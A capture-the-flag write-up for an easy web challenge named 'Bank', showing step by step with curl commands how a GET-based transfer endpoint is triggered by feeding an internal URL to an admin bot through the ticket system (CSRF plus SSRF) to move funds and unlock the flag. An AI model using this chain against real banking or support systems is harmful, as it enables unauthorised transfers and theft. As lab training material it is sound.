Bank
Bank
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, csrf_via_get_transfer, ssrf_internal_hostname
Summary
Walkthrough of the CUSTOM Web Bank. Task: Bank web app with cashback program. Solution: Exploit GET-based transfer endpoint via CSRF through admin bot ticket system, using internal hostname from API docs to trigger SSRF and transfer fun
Description
Check out new cashback program! https://bank.2537ly.space/docs/
Analysis
Reconnaissance
Swagger UI at https://bank.2537ly.space/docs/ documents the "Transparent bank" API (v0.0.2) with description "Blockchain based and API powered bank. Server internally at http://bank:3000".
API endpoints:
POST /api/signup— registration (username, password)POST /api/login— login, returns JWT in cookiesessionGET /api/me— balance. Description: "Cashback is available when balance > 100"GET /api/transfer— money transfer (query params:to,amount). GET-based!POST /api/ticket— ticket to admin (body:problem,url— "URL where error happened")
Key Observations
After registration and login:
/api/me:{"cashback": false, "username": "testuser_ctf123", "password": "testpass123", "balance": "0"}/api/transfer:{"error": "Transfers are available for admin only"}— only admin can transfer/api/ticketaccepts a URL that the admin bot visits- API description reveals internal hostname:
http://bank:3000 - Transfer endpoint uses GET method — trivially exploitable via CSRF
- Security headers:
x-frame-options: DENY,x-xss-protection: 1; mode=block,x-content-type-options: nosniff
Attack Vector: SSRF/CSRF via Ticket System
Attack chain:
- Register an account and log in
- Submit a ticket with URL to internal transfer endpoint:
http://bank:3000/api/transfer?to=testuser_ctf123&amount=200 - Admin bot visits this URL with its session, executing transfer to our account
- Balance becomes 200 (> 100), unlocking cashback with the flag
Solution
bash read-only • copy allowed# Step 1: Sign up curl -s -X POST https://bank.2537ly.space/api/signup \ -H 'Content-Type: application/json' \ -d '{"username":"testuser_ctf123","password":"testpass123"}' # Response: {"success":true} # Step 2: Login (get session JWT cookie) curl -sv -X POST https://bank.2537ly.space/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"testuser_ctf123","password":"testpass123"}' # Response: set-cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... SESSION="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyX2N0ZjEyMyIsImlhdCI6MTc3MzU5ODU3OX0.EdUUGeWuN7ugkiWTIE895f38CX6fS8rxfuzsOHuObTg" # Step 3: Submit ticket with CSRF URL targeting internal transfer endpoint curl -s -X POST -b "session=$SESSION" https://bank.2537ly.space/api/ticket \ -H 'Content-Type: application/json' \ -d '{"problem":"test","url":"http://bank:3000/api/transfer?to=testuser_ctf123&amount=200"}' # Response: {"success":[[null,"OK"],[null,1]]} # Step 4: Wait for admin bot, then check balance sleep 5 curl -s -b "session=$SESSION" https://bank.2537ly.space/api/me # Response: {"cashback":"spbctf{REDACTED}","username":"testuser_ctf123","password":"testpass123","balance":"200"}
Why This Works
- Transfer endpoint uses GET method without CSRF protection — trivially triggered by visiting a URL
- Ticket system acts as an admin bot that visits arbitrary URLs with admin's session
- API description reveals internal hostname (
http://bank:3000), allowing SSRF to bypass external restrictions - Admin has funds, transfer succeeds, crediting our account
- When balance > 100, the
/api/meendpoint reveals the flag in thecashbackfield
Key Takeaways / Lessons
- Mastering admin_bot_exploitation, csrf_via_get_transfer, ssrf_internal_hostname was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-15 • CUSTOM • Bank • Difficulty: Easy